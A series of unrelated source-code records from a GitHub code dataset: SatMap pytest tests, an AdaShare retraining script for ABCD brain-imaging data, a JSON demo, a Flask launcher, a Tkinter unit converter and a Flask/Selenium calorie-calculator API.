'aigean_fan_20230104_150010.zip'\n mock_fand = _get_fand(fand_file)\n\n with pytest.raises(TypeError) as err:\n ecne = Ecne()\n mock_fand + ecne\n\n\ndef test_add_two_SatMap_with_diff_resolution_raise_ValueError():\n fand_file = 'aigean_fan_20230104_150010.zip'\n mock_fand = _get_fand(fand_file)\n lir_file = 'aigean_lir_20230104_145310.asdf'\n mock_lir = _get_lir(lir_file)\n\n with pytest.raises(ValueError) as err:\n mock_fand + mock_lir\n\n\ndef test_add_two_SatMap_from_diff_date():\n fand_file = 'aigean_fan_20230104_150010.zip'\n mock_fand = _get_fand(fand_file)\n lir_file = 'aigean_lir_20230104_145310.asdf'\n mock_lir = _get_lir(lir_file)\n\n mock_lir.meta['obs_date'] = '2023-01-14 14:53:10'\n with pytest.raises(ValueError) as err:\n mock_fand + mock_lir\n\n\ndef test_add_two_SatMap_should_generate_the_same_data_when_add_itself():\n fand_file = 'aigean_fan_20230104_150010.zip'\n fand1 = _get_fand(fand_file)\n expected = fand1\n actual = fand1 + fand1\n assert (actual.data == expected.data).all()\n\n\ndef test_add_two_SatMap_generate_correct_added_SatMap():\n fand_file = 'aigean_fan_20230104_150010.zip'\n fand1 = _get_fand(fand_file)\n fand_file2 = 'aigean_fan_20230112_074702.zip'\n fand2 = _get_fand(fand_file2)\n # set the other satmap to be the same date, but contains a map with\n # different shape\n fand2.meta['obs_date'] = '2023-01-04 14:53:10'\n actual = fand1 + fand2\n expected_centre = (637, 175)\n assert actual.centre == expected_centre\n\n\ndef test_sub_two_SatMap_from_the_same_day_raise_ValueError():\n fand_file = 'aigean_fan_20230104_150010.zip'\n mock_fand = _get_fand(fand_file)\n lir_file = 'aigean_lir_20230104_145310.asdf'\n mock_lir = _get_lir(lir_file)\n\n with pytest.raises(ValueError) as err:\n mock_fand - mock_lir\n\n\ndef test_sub_two_SatMap_with_diff_resolution_raise_ValueError():\n fand_file = 'aigean_fan_20230104_150010.zip'\n mock_fand = _get_fand(fand_file)\n lir_file = 'aigean_lir_20230104_145310.asdf'\n mock_lir = _get_lir(lir_file)\n\n with pytest.raises(ValueError) as err:\n mock_fand - mock_lir\n\n\ndef test_sub_two_diff_instrument_raise_TypeError():\n fand_file = 'aigean_fan_20230104_150010.zip'\n mock_fand = _get_fand(fand_file)\n ecne = Ecne()\n\n with pytest.raises(TypeError) as err:\n mock_fand - ecne\n\n\ndef test_sub_two_overlap_satmap():\n fand_file = 'aigean_fan_20230104_150010.zip'\n fand1 = _get_fand(fand_file)\n fand_file2 = 'aigean_fan_20230112_074702.zip'\n fand2 = _get_fand(fand_file2)\n\n actual = fand1 - fand2\n actual_arr = actual.data\n expected_arr = fand1.data[:, 30:45] - fand2.data[:, :15]\n assert (expected_arr == actual_arr).all()\n\n\ndef test_mosaic_two_diff_instrument_raise_TypeError():\n fand_file = 'aigean_fan_20230104_150010.zip'\n mock_fand = _get_fand(fand_file)\n ecne = Ecne()\n\n with pytest.raises(TypeError) as err:\n mock_fand.mosaic(ecne)\n\n\ndef test_mosaic_only_allows_overlap_instruments_when_padding_is_false():\n fand_file = 'aigean_fan_20230104_150010.zip'\n mock_fand = _get_fand(fand_file)\n lir_file = 'aigean_lir_20230104_145310.asdf'\n mock_lir = _get_lir(lir_file)\n mock_lir.meta['xcoords'] = (10, 20)\n mock_lir.meta['ycoords'] = (15, 25)\n\n with pytest.raises(ValueError) as err:\n mock_fand.mosaic(mock_lir, padding=False)\n\n\ndef test_mosaic_include_type_generate_correct_centre_with_padding_to_be_False(): # noqa\n fand_file = 'aigean_fan_20230104_150010.zip'\n mock_fand = _get_fand(fand_file)\n lir_file = 'aigean_lir_20230104_145310.asdf'\n mock_lir = _get_lir(lir_file)\n\n actual = mock_fand.mosaic(mock_lir, padding=False)\n expected = (400, 150)\n assert actual.centre == expected\n\n\ndef test_mosaic_intersect_type_generate_correct_centre_with_padding_to_be_False(): # noqa\n\n fand_file = 'aigean_fan_20230104_150010.zip'\n fand1 = _get_fand(fand_file)\n fand_file2 = 'aigean_fan_20230112_074702.zip'\n fand2 = _get_fand(fand_file2)\n\n # set fand2 to be in the same day\n fand2.meta['obs_date'] = '2023-01-04 14:53:10'\n\n actual = fand1.mosaic(fand2, padding=False)\n expected = (637, 175)\n assert actual.centre == expected\n\n\ndef test_mosaic_generate_correct_centre_with_padding_to_be_True():\n fand_file = 'aigean_fan_20230104_150010.zip'\n mock_fand = _get_fand(fand_file)\n lir_file = 'aigean_lir_20230104_145310.asdf'\n mock_lir = _get_lir(lir_file)\n\n actual = mock_fand.mosaic(mock_lir)\n expected = (400, 150)\n assert actual.centre == expected\n\n\ndef test_visualise_savepath_should_be_str():\n fand_file = 'aigean_fan_20230104_150010.zip'\n mock_fand = _get_fand(fand_file)\n with pytest.raises(TypeError) as err:\n mock_fand.visualise(save_path=123)\n\n\nclass mocktest(TestCase):\n\n def test_add(self):\n lir_map1 = satmap.get_satmap('aigean_fan_20221205_191610.zip')\n lir_map2 = satmap.get_satmap('aigean_fan_20221205_192210.zip')\n get_added = mock.Mock(side_effect=lir_map1.__add__)\n result = get_added(lir_map2)\n self.assertEqual(get_added.called, True)\n self.assertEqual(get_added.call_count, 1)\n self.assertEqual(result.centre, (300, 275))\n\n def test_sub(self):\n lir_map1 = satmap.get_satmap('aigean_fan_20221208_170852.zip')\n lir_map2 = satmap.get_satmap('aigean_fan_20221210_150420.zip')\n get_substracted = mock.Mock(side_effect=lir_map1.__sub__)\n result = get_substracted(lir_map2)\n self.assertEqual(get_substracted.called, True)\n self.assertEqual(get_substracted.call_count, 1)\n self.assertEqual(result.centre, (1237, 475))\n\n def test_mosaic_padding_true(self):\n lir_map1 = satmap.get_satmap('aigean_lir_20221205_191610.asdf')\n lir_map2 = satmap.get_satmap('aigean_man_20221205_194510.hdf5')\n get_substracted = mock.Mock(side_effect=lir_map1.mosaic)\n result = get_substracted(lir_map2, padding=True)\n self.assertEqual(get_substracted.called, True)\n self.assertEqual(get_substracted.call_count, 1)\n self.assertEqual(result.centre, (850, 350))\n\n def test_mosaic_padding_false(self):\n lir_map1 = satmap.get_satmap('aigean_lir_20221205_191610.asdf')\n lir_map2 = satmap.get_satmap('aigean_man_20221205_194510.hdf5')\n get_substracted = mock.Mock(side_effect=lir_map1.mosaic)\n result = get_substracted(lir_map2, padding=False)\n self.assertEqual(get_substracted.called, True)\n self.assertEqual(get_substracted.call_count, 1)\n self.assertEqual(result.centre, (800, 350))\n","repo_name":"alex-avv/package-aigeanpy","sub_path":"aigeanpy/tests/test_satmap.py","file_name":"test_satmap.py","file_ext":"py","file_size_in_byte":11773,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"259812666","text":"import sys\nsys.path.insert(0, '..')\nimport glob\n\nimport os\nimport time\nimport numpy as np\n\nfrom torch.utils.data import DataLoader\n\nfrom dataloaders.data_preprocessing import *\nfrom dataloaders.data_loading import *\n\nfrom envs.blockdrop_env import BlockDropEnv\nimport torch\nfrom utils.util import print_separator, read_yaml, create_path, print_yaml, fix_random_seed, CLIreporter, summarizing_results, making_results_template, save_exp_results, ImageList_loading\nfrom copy import deepcopy\nfrom sklearn.metrics import confusion_matrix\nfrom tqdm import tqdm\n\n\ndef train_and_eval_iter_fix_policy(environ, trainloader, valloader, current_iter, results_iter, opt):\n environ.train()\n start_time = time.time()\n\n # training model\n for batch_idx, batch in enumerate(trainloader, 0):\n environ.set_inputs(batch)\n environ.optimize_fix_policy(lambdas=opt['lambdas'])\n \n # summarizing results from mini-batches \n results = getattr(environ,'results')\n if opt['task']['cat_target']:\n for cat_target in opt['task']['cat_target']:\n results_iter[cat_target]['train']['loss'].append(results[cat_target]['loss']) # if item is extracted by item() in the class of environ, loss could be not backpropagated. Thus it is extracted by item() in here. \n results_iter[cat_target]['train']['ACC or R2'].append(results[cat_target]['ACC or R2'])\n if opt['task']['num_target']:\n for num_target in opt['task']['num_target']:\n results_iter[num_target]['train']['loss'].append(results[num_target]['loss']) # if item is extracted by item() in the class of environ, loss could be not backpropagated. Thus it is extracted by item() in here. \n results_iter[num_target]['train']['ACC or R2'].append(results[num_target]['ACC or R2'])\n \n\n # validation\n environ.eval()\n with torch.no_grad():\n for batch_idx, batch in enumerate(valloader):\n environ.set_inputs(batch)\n environ.val_fix_policy()\n\n # summarizing results from mini-batches\n results = getattr(environ, 'results')\n if opt['task']['cat_target']:\n for cat_target in opt['task']['cat_target']:\n results_iter[cat_target]['val']['loss'].append(results[cat_target]['loss']) # if item is extracted by item() in the class of environ, loss could be not backpropagated. Thus it is extracted by item() in here. \n results_iter[cat_target]['val']['ACC or R2'].append(results[cat_target]['ACC or R2'])\n if opt['task']['num_target']:\n for num_target in opt['task']['num_target']:\n results_iter[num_target]['val']['loss'].append(results[num_target]['loss']) # if item is extracted by item() in the class of environ, loss could be not backpropagated. Thus it is extracted by item() in here. \n results_iter[num_target]['val']['ACC or R2'].append(results[num_target]['ACC or R2']) \n end_time = time.time()\n\n \n # save the model\n environ.save('latest', current_iter)\n \n return results_iter , end_time-start_time\n\ndef _train(exp_id, opt, gpu_ids):\n\n # ********************************************************************\n # ******************** Prepare the dataloaders ***********************\n # ********************************************************************\n # load the dataloader\n print_separator('DATA PREPROCSESSING AND CREATE DATALOADER')\n os.chdir(opt['dataload']['img_dataroot']) # important line\n \n ## ========= get image, subject ID and target variables ========= ##\n if opt['dataload']['dataset'] == 'ABCD':\n image_files_train = ImageList_loading(os.path.join(opt['dataload']['img_dataroot'],'image_train_SubjectList.txt'))\n image_files_train = sorted(image_files_train)\n #image_files_train = image_files_train[:30]\n\n image_files_val = ImageList_loading(os.path.join(opt['dataload']['img_dataroot'],'image_val_SubjectList.txt'))\n image_files_val = sorted(image_files_val)\n #image_files_val = image_files_val[:30]\n\n\n tasks = opt['task']['targets']\n col_list = tasks + ['subjectkey']\n\n ### get subject ID and target variables\n subject_data = pd.read_csv(opt['dataload']['label_dataroot'])\n subject_data = subject_data.loc[:,col_list]\n subject_data = subject_data.sort_values(by='subjectkey')\n subject_data = subject_data.dropna(axis = 0)\n subject_data = subject_data.reset_index(drop=True) # removing subject have NA values\n \n\n ## ========= Data Loading ========= ##\n if opt['task']['cat_target']:\n preprocessing_cat(subject_data, opt)\n\n if opt['task']['num_target']:\n preprocessing_num(subject_data, opt)\n\n imageFiles_labels_train = combining_image_target(image_files_train, subject_data, opt)\n imageFiles_labels_val = combining_image_target(image_files_val, subject_data, opt)\n\n partition = {}\n partition['train'] = loading(imageFiles_labels_train, opt)\n partition['val'] = loading(imageFiles_labels_val, opt)\n\n # count the class of labels (= output dimension of neural networks) \n opt['task']['tasks_num_class'] = []\n if opt['task']['cat_target']:\n for cat_label in opt['task']['cat_target']:\n opt['task']['tasks_num_class'].append(len(subject_data[cat_label].value_counts()))\n if opt['task']['num_target']:\n for num_label in opt['task']['num_target']:\n opt['task']['tasks_num_class'].append(int(1)) \n\n print(\"Loading image file names as list is completed\")\n print('size of training set: ', len(partition['train']))\n print('size of validation set: ', len(partition['val']))\n\n trainloader = DataLoader(partition['train'], batch_size=opt['data_split']['train_batch_size'], drop_last=True, num_workers=24, shuffle=True)\n valloader = DataLoader(partition['val'], batch_size=opt['data_split']['val_batch_size'], drop_last=True, num_workers=24, shuffle=True)\n\n\n # ********************************************************************\n # ********************Create the environment *************************\n # ********************************************************************\n\n # create the model and the pretrain model\n print_separator('CREATE THE ENVIRONMENT')\n environ = BlockDropEnv(opt['paths']['log_dir'], opt['paths']['checkpoint_dir'], opt['exp_name'],\n opt['task']['tasks_num_class'], opt['init_neg_logits'],\n gpu_ids[0], opt['train']['init_temp'], opt['train']['decay_temp'],\n is_train=True, opt=opt)\n\n current_iter = 0\n policy_label = 'Iter%s_rs%04d' % (opt['train']['policy_iter'], opt['seed'][exp_id])\n if opt['train']['retrain_resume']:\n current_iter = environ.load(opt['train']['which_iter'])\n if opt['policy_model'] == 'task-specific':\n environ.load_policy(policy_label)\n else:\n\n init_state = deepcopy(environ.get_current_state(0)) # getting the number of the last iterations from \"train.py\"\n if environ.check_exist_policy(policy_label):\n environ.load_policy(policy_label)\n else:\n environ.load(opt['train']['policy_iter'])\n dists = environ.get_policy_prob()\n overall_dist = np.concatenate(dists, axis=-1)\n #print(overall_dist)\n environ.sample_policy(opt['train']['hard_sampling'])\n environ.save_policy(policy_label)\n\n if opt['retrain_from_pl']:\n environ.load(opt['train']['policy_iter'])\n else:\n environ.load_snapshot(init_state)\n\n policys = environ.get_current_policy()\n overall_policy = np.concatenate(policys, axis=-1)\n print(overall_policy)\n\n environ.define_optimizer(False)\n environ.define_scheduler(False)\n if torch.cuda.is_available():\n environ.cuda(gpu_ids)\n\n # creating final results template \n results_final = making_results_template(opt, mode='re-train')\n\n # ********************************************************************\n # *************************** Training *****************************\n # ********************************************************************\n environ.fix_alpha()\n environ.free_w(fix_BN=opt['fix_BN'])\n\n\n # setting the values for comparing results per epoch and the bset results\n best_value = {}\n best_iter = 0.0\n if opt['task']['cat_target']:\n for cat_target in opt['task']['cat_target']:\n best_value[cat_target] = 0.0 # best_value[cat_target] is compared to the validation Accuracy \n if opt['task']['num_target']:\n for num_target in opt['task']['num_target']:\n best_value[num_target] = 0.0 # best_value[num_target] is compared to the validation MSE Loss. This value should be set according to its cases\n\n\n opt['train']['retrain_total_iters'] = opt['train'].get('retrain_total_iters', opt['train']['total_iters'])\n\n\n with tqdm(total = opt['train']['total_iters']) as progress_bar:\n while current_iter < opt['train']['retrain_total_iters']:\n environ.train()\n current_iter += 1\n\n # making template for reporting results\n results_iter = {}\n if opt['task']['cat_target']:\n for cat_target in opt['task']['cat_target']:\n results_iter[cat_target] = {'train':{'loss':[], 'ACC or R2':[]}, 'val':{'loss':[], 'ACC or R2':[]}}\n if opt['task']['num_target']:\n for num_target in opt['task']['num_target']:\n results_iter[num_target] = {'train':{'loss':[], 'ACC or R2':[]}, 'val':{'loss':[], 'ACC or R2':[]}}\n \n # Training \n results_iter, time= train_and_eval_iter_fix_policy(environ=environ, trainloader=trainloader, valloader=valloader, current_iter=current_iter, results_iter=results_iter, opt=opt)\n results_iter, results_final = summarizing_results(opt, results_iter, results_final)\n CLIreporter(results_iter, opt)\n \n\n # comparing the current results to best results. If current results are bettter than the best results, then saving the best model \n best_checkpoints_vote = 0\n if opt['task']['cat_target']:\n for cat_target in opt['task']['cat_target']:\n if results_iter[cat_target]['val']['ACC or R2'] >= best_value[cat_target]:\n best_checkpoints_vote += 1\n best_value[cat_target] = results_iter[cat_target]['val']['ACC or R2']\n if opt['task']['num_target']:\n for num_target in opt['task']['num_target']:\n if results_iter[num_target]['val']['ACC or R2'] >= best_value[num_target]:\n best_checkpoints_vote += 1 \n best_value[num_target] = results_iter[num_target]['val']['ACC or R2']\n \n\n if best_checkpoints_vote == len(opt['task']['targets']):\n best_iter = current_iter\n environ.save('retrain%03d_policyIter%s_best' % (exp_id, opt['train']['policy_iter']), current_iter)\n print(\"Best iteration until now is %d\" % best_iter)\n\n\n # summarizing and report results per epoch \n print('Epoch {}. Took {:2.2f} sec'.format(current_iter, time))\n progress_bar.update(1)\n \n # saving results as json file\n save_exp_results(results_final, opt, mode='re-train')\n\n\n\n\ndef train():\n # ********************************************************************\n # ****************** create folders and print options ****************\n # ********************************************************************\n print_separator('READ YAML')\n opt, gpu_ids, exp_ids = read_yaml()\n # fix_random_seed(opt[\"seed\"])\n create_path(opt)\n # print yaml on the screen\n lines = print_yaml(opt)\n for line in lines: print(line)\n # print to file\n with open(os.path.join(opt['paths']['log_dir'], opt['exp_name'], 'opt.txt'), 'w+') as f:\n f.writelines(lines)\n\n best_results = {}\n for exp_id in exp_ids:\n fix_random_seed(opt[\"seed\"][exp_id])\n # fix_random_seed(48)\n _train(exp_id, opt, gpu_ids)\n\n\nif __name__ == \"__main__\":\n train()\n","repo_name":"Transconnectome/ABCD-3DCNN","sub_path":"STEP_2_Multitask-learning/AdaShare/re-train.py","file_name":"re-train.py","file_ext":"py","file_size_in_byte":12454,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"68"} +{"seq_id":"31547127415","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport sys,json\nfrom jinja2 import Template\n\ndata = {\n'name':'ACME',\n'shares':100,\n'price':3.1415,\n'extra':[1,u'hello中国',('1','2')]\n}\n\nprint( data )\nstr_json = json.dumps(data) # 导出为字符串\nprint('导出成字符串:', type(str_json), ' : ', str_json)\njson_data = json.loads(str_json) # 将字符串转为python对象dict\nprint('将字符串转为python对象dict:', type(json_data), ' : ', json_data )\n\nprint( '----------------' )\n\n# 写入到文件\nwith open('data.json', 'w', encoding='utf8') as f:\n json.dump(data,f)\n\n# 从文件读取\njson1 = {}\nwith open('data.json', 'r', encoding='utf8') as f:\n json1 = json.load(f)\nprint('从文件再读入到变量:', type(json1), json1 )\n\n#template = Template('Hello {{name}}')\n#print template.render(name='John Doe 张三')\n\n\n\n\n","repo_name":"cgwu/python-demo","sub_path":"python2-jinja2/json_demo_p3.py","file_name":"json_demo_p3.py","file_ext":"py","file_size_in_byte":838,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"71783817176","text":"import os\nfrom dotenv import load_dotenv\nfrom app import create_app\n\n\ndotenv_path = os.path.join(os.path.dirname(__file__), \".env\")\nif os.path.exists(dotenv_path):\n load_dotenv(dotenv_path)\n\n\nif __name__ == \"__main__\":\n from argparse import ArgumentParser\n\n parser = ArgumentParser()\n parser.add_argument(\n \"-p\",\n \"--port\",\n default=5000,\n type=int,\n help=\"port to listen on\",\n )\n args = parser.parse_args()\n port = args.port\n\n app = create_app()\n app.run(host=\"0.0.0.0\", port=port)\n","repo_name":"bear/uchi","sub_path":"uchi.py","file_name":"uchi.py","file_ext":"py","file_size_in_byte":545,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"3952668950","text":"from tkinter import ttk\nfrom tkinter import *\nfrom PIL import ImageTk, Image\n\ncor1= '#3b3b3b'\ncor2= '#ffffff'\ncor3= '#FF8C00'\ncor4= '#48b3e0'\n\nwindow= Tk()\nwindow.title('Calcular Medidas')\nwindow.geometry('670x260')\nwindow.config(bg=cor1)\n\n# Frame nome app\nframe_nomeApp = Frame(window, width=450, height=50, bg=cor2, pady=0, padx=3, relief='flat')\nframe_nomeApp.place(x=2, y=2)\n\n# Frame opções de medidas\nframe_opcoes = Frame(window, width=450, height=260, bg=cor2, pady=0, padx=3, relief='flat')\nframe_opcoes.place(x=2, y=54)\n\n# Frame de operações\nframe_operacoes = Frame(window, width=220, height=260, bg=cor2, pady=0, padx=3, relief='flat')\nframe_operacoes.place(x=454, y=2)\n\n# estilo janela\n\nestilo = ttk.Style(window)\nestilo.theme_use('clam')\n\n# Label para frame de nome\nl_nomeApp = Label(frame_nomeApp, text='Calculadora de Unidades de Medidas', height=1, padx=0, relief='flat', anchor='center', font=('Ivy 11 bold'), bg=cor2,fg=cor4)\nl_nomeApp.place(x=50, y=10)\n\n# configuração funcionalidade\n\nunidades = {'massa':[{'kg':1000}, {'hg':100}, {'dag':10}, {'g':1}, {'dg':0.1}, {'cg':0.01}, {'mg':0.001}],\n 'comprimento':[{'km':1000}, {'hm':100}, {'dam':10}, {'m':1}, {'dm':0.1}, {'cm':0.01}, {'mm':0.001}]\n }\n\ndef mostrar_menu(i):\n\n unidade_de = []\n unidade_para = []\n unidade_valores = []\n\n for j in unidades[i]:\n for k, v in j.items():\n unidade_de.append(k)\n unidade_para.append(k)\n unidade_valores.append(v)\n\n c_de['values'] = unidade_de\n c_para['values'] = unidade_para\n\n l_unidade_nome['text'] = i\n\n def calcular():\n\n a = c_de.get()\n b = c_para.get()\n\n numero_para_converter = float(e_numero.get())\n\n\n if unidade_para.index(a) <= unidade_de.index(b):\n distancia = unidade_para.index(b) - unidade_de.index(a)\n resultado = numero_para_converter * (10**distancia)\n l_resultado['text'] = resultado\n\n\n else:\n distancia = unidade_de.index(a) - unidade_para.index(b)\n resultado = numero_para_converter * (10 **distancia)\n l_resultado['text'] = resultado\n\n if unidade_para.index(a) > unidade_de.index(b):\n\n if unidade_para.index(a) <= unidade_de.index(b):\n distancia = unidade_de.index(a) - unidade_para.index(b)\n resultado = numero_para_converter / (10**distancia)\n l_resultado['text'] = resultado\n\n\n else:\n distancia = unidade_de.index(a) - unidade_para.index(b)\n resultado = numero_para_converter / (10 ** distancia)\n l_resultado['text'] = resultado\n\n\n l_info = Label(frame_operacoes, text='Digite o número', width=16, height=2, padx=5, pady=3, relief='flat', anchor='center', font=('Ivy 10 bold'), bg=cor2, fg=cor4)\n l_info.place(x=0, y=110)\n\n\n e_numero = Entry(frame_operacoes, width=12, font=('Ivy 14 bold'), justify='center', relief=SOLID)\n e_numero.place(x=5, y=150)\n\n btn_Calcular = Button(frame_operacoes, command=calcular, text='Calcular', width=7, relief='raised', overrelief='ridge', anchor='nw', font=('Ivy 10 bold'), bg=cor3, fg=cor2)\n btn_Calcular.place(x=145, y=150)\n\n l_resultado = Label(frame_operacoes, text='', width=17, height=1, padx=0, pady=3, relief='groove', anchor='center', font=('Ivy 15 bold'), bg=cor2, fg=cor4)\n l_resultado.place(x=0, y=200)\n\n# Botão massa\n\nimg_Massa = Image.open('img/massa.png')\nimg_Massa = img_Massa.resize((30,30), Image.ANTIALIAS)\nimg_Massa = ImageTk.PhotoImage(img_Massa)\n\nbtn_Massa = Button (frame_opcoes, command= lambda : mostrar_menu('massa'), text='Massa', image=img_Massa, compound=LEFT, width=130 ,height=50, relief='flat',overrelief='solid', anchor='nw', font=('Ivy 11 bold'), bg=cor4,fg=cor2)\nbtn_Massa.grid(row=0, column=0, sticky=NSEW, padx=5, pady=5)\n\n# Botão tempo\n\nimg_Tempo = Image.open('img/tempo.png')\nimg_Tempo = img_Tempo.resize((30,30), Image.ANTIALIAS)\nimg_Tempo = ImageTk.PhotoImage(img_Tempo)\n\nbtn_Tempo = Button (frame_opcoes, command= lambda : mostrar_menu('tempo'), text='Tempo', image=img_Tempo, compound=LEFT, width=130 ,height=50, relief='flat',overrelief='solid', anchor='nw', font=('Ivy 11 bold'), bg=cor4,fg=cor2)\nbtn_Tempo.grid(row=0, column=1, sticky=NSEW, padx=5, pady=5)\n\n# Botão Comprimento\n\nimg_Comprimento = Image.open('img/comprimento.png')\nimg_Comprimento = img_Comprimento.resize((30,30), Image.ANTIALIAS)\nimg_Comprimento = ImageTk.PhotoImage(img_Comprimento)\n\nbtn_Comprimento = Button (frame_opcoes, command= lambda : mostrar_menu('comprimento'), text='Comprimento', image=img_Comprimento, compound=LEFT, width=130 ,height=50, relief='flat',overrelief='solid', anchor='nw', font=('Ivy 11 bold'), bg=cor4,fg=cor2)\nbtn_Comprimento.grid(row=0, column=2, sticky=NSEW, padx=5, pady=5)\n\n#Botão área\n\nimg_Area = Image.open('img/area.png')\nimg_Area = img_Area.resize((30,30), Image.ANTIALIAS)\nimg_Area = ImageTk.PhotoImage(img_Area)\n\nbtn_Area = Button (frame_opcoes, command= lambda : mostrar_menu('area'), text='Área',image=img_Area, compound=LEFT, width=130 ,height=50, relief='flat',overrelief='solid', anchor='nw', font=('Ivy 11 bold'), bg=cor4,fg=cor2)\nbtn_Area.grid(row=1, column=0, sticky=NSEW, padx=5, pady=5)\n\n# Botão quantidade\n\nimg_Qtd = Image.open('img/qtd.png')\nimg_Qtd = img_Qtd.resize((30,30), Image.ANTIALIAS)\nimg_Qtd = ImageTk.PhotoImage(img_Qtd)\n\nbtn_Qtd = Button (frame_opcoes, command= lambda : mostrar_menu('quantidade'), text='Quantidade', image=img_Qtd, compound=LEFT, width=130 ,height=50, relief='flat',overrelief='solid', anchor='nw', font=('Ivy 11 bold'), bg=cor4,fg=cor2)\nbtn_Qtd.grid(row=1, column=1, sticky=NSEW, padx=5, pady=5)\n\n# Botão velocidade\n\nimg_Velocidade = Image.open('img/velocidade.png')\nimg_Velocidade = img_Velocidade.resize((30,30), Image.ANTIALIAS)\nimg_Velocidade = ImageTk.PhotoImage(img_Velocidade)\n\nbtn_Velocidade = Button (frame_opcoes, command= lambda : mostrar_menu('velocidade'), text='Velocidade', image=img_Velocidade, compound=LEFT, width=130 ,height=50, relief='flat',overrelief='solid', anchor='nw', font=('Ivy 11 bold'), bg=cor4,fg=cor2)\nbtn_Velocidade.grid(row=1, column=2, sticky=NSEW, padx=5, pady=5)\n\n# Botão temperatura\n\nimg_Temp = Image.open('img/temperatura.png')\nimg_Temp = img_Temp.resize((30,30), Image.ANTIALIAS)\nimg_Temp = ImageTk.PhotoImage(img_Temp)\n\nbtn_Temp = Button (frame_opcoes, command= lambda : mostrar_menu('tempo'), text='Tempo',image=img_Temp, compound=LEFT, width=130 ,height=50, relief='flat',overrelief='solid', anchor='nw', font=('Ivy 11 bold'), bg=cor4,fg=cor2)\nbtn_Temp.grid(row=2, column=0, sticky=NSEW, padx=5, pady=5)\n\n# Botão energia\n\nimg_Energia = Image.open('img/energia.png')\nimg_Energia = img_Energia.resize((30,30), Image.ANTIALIAS)\nimg_Energia = ImageTk.PhotoImage(img_Energia)\n\nbtn_Energia = Button (frame_opcoes, command= lambda : mostrar_menu('energia'), text='Energia', image=img_Energia, compound=LEFT, width=130 ,height=50, relief='flat',overrelief='solid', anchor='nw', font=('Ivy 11 bold'), bg=cor4,fg=cor2)\nbtn_Energia.grid(row=2, column=1, sticky=NSEW, padx=5, pady=5)\n\n# Botão pressão\n\nimg_Press = Image.open('img/pressão.png')\nimg_Press = img_Press.resize((30,30), Image.ANTIALIAS)\nimg_Press = ImageTk.PhotoImage(img_Press)\n\nbtn_Press = Button (frame_opcoes, command= lambda : mostrar_menu('pressao'), text='Pressão', image=img_Press, compound=LEFT, width=130 ,height=50, relief='flat',overrelief='solid', anchor='nw', font=('Ivy 11 bold'), bg=cor4,fg=cor2)\nbtn_Press.grid(row=2, column=2, sticky=NSEW, padx=5, pady=5)\n\n# Frame operação\n\nl_unidade_nome = Label(frame_operacoes, text='Unidade', width=19, height=2, padx=0, relief='flat', anchor='center', font=('Ivy 15 bold'), bg=cor2,fg=cor4)\nl_unidade_nome.place(x=0, y=0)\n\nl_de = Label(frame_operacoes, text='De', height=1, padx=3, relief='groove', anchor='center', font=('Ivy 11 bold'), bg=cor4,fg=cor2)\nl_de.place(x=0, y=70)\nc_de = ttk.Combobox(frame_operacoes, width=5, justify=('center'), font=('Ivy 11 bold'))\nc_de.place(x=36, y=70)\n\nl_para = Label(frame_operacoes, text='Para', height=1, padx=3, relief='groove', anchor='center', font=('Ivy 11 bold'), bg=cor4,fg=cor2)\nl_para.place(x=100, y=70)\nc_para = ttk.Combobox(frame_operacoes, width=5, justify=('center'), font=('Ivy 11 bold'))\nc_para.place(x=145, y=70)\n\n\nwindow.mainloop()\n","repo_name":"pedrorodrigues000/CalculadoraMedidas","sub_path":"calculadoraUnidadeMedidas.py","file_name":"calculadoraUnidadeMedidas.py","file_ext":"py","file_size_in_byte":8352,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"33232614164","text":"from flask import Flask, jsonify, request\nfrom selenium import webdriver\nfrom selenium.webdriver.support.ui import Select\n\n\n\n\napp = Flask(__name__)\n\n@app.route(\"/api\", methods = ['GET'])\ndef API():\n request_goal_info = str(request.args['findCalories'])\n\n data = request_goal_info.split(\" \")\n\n isBulk = data[0]\n gender_input = data[1]\n age_input = int(data[2])\n weight_input = int(data[3])\n height_input = data[4]\n activity_input = data[5]\n calories_needed = fillIn(isBulk, gender_input, age_input, weight_input, height_input, activity_input)\n return jsonify(calories_needed)\n\n@app.route(\"/\")\ndef homescreen():\n info = '''\n Welcome to tdeAPI, to get started:\n
add /api?findCalories= at then end of the URl\n
\n
\n\n The API takes in six agruments:
\n
- isBulk, bool -> USE \"True\" or \"False\" CASE SENSITIVE\n
- gender_input, string -> USE \"male\" or \"female\"; CASE SENSITIVE\n
- age_input, int\n
- weight_input, int -> LBS\n
- height input, int -> INCHES\n
- activity_input, float -> Pick one of these numbers: 1.2, 1.375, 1.55 , 1.725, 1.9\n\n

Now, to get the data from the API, input these agruments into the url with a space between\n
EXAMPLE: http://127.0.0.1:5000/api?findCalories=TRUE male 19 160 70 1.55\n \n
The API will return a JSON of the caloric goal.\n '''\n\n return info\ndef fillIn(isBulk, gender_input, age_input, weight_input, height_input, activity_input):\n browser = webdriver.Chrome()\n browser.get(\"https://tdeecalculator.net\")\n\n if gender_input == \"male\":\n whichGender = browser.find_element_by_xpath('//*[@id=\"male\"]')\n else:\n whichGender = browser.find_element_by_xpath('//*[@id=\"female\"]')\n\n whichGender.click()\n \n \n age = browser.find_element_by_xpath('//*[@id=\"age\"]')\n age.send_keys(age_input)\n \n weight = browser.find_element_by_xpath('//*[@id=\"weight\"]')\n weight.send_keys(weight_input)\n \n height = Select(browser.find_element_by_xpath('//*[@id=\"height\"]'))\n height.select_by_value(height_input)\n \n\n activity = Select(browser.find_element_by_xpath('//*[@id=\"form\"]/form/table/tbody/tr[5]/td[2]/select'))\n activity.select_by_value(activity_input)\n \n sumbit_button = browser.find_element_by_id('submit')\n sumbit_button.click()\n \n cal = browser.find_element_by_xpath('//*[@id=\"tdee-cals\"]/div[1]/span[1]')\n temp = cal.text\n temp = temp.replace(',','')\n temp = int(temp)\n \n if isBulk is 'False':\n temp -= 500\n return str(temp)\n else:\n temp += 500\n return str(temp)\n\n\n \nif __name__ == \"__main__\":\n 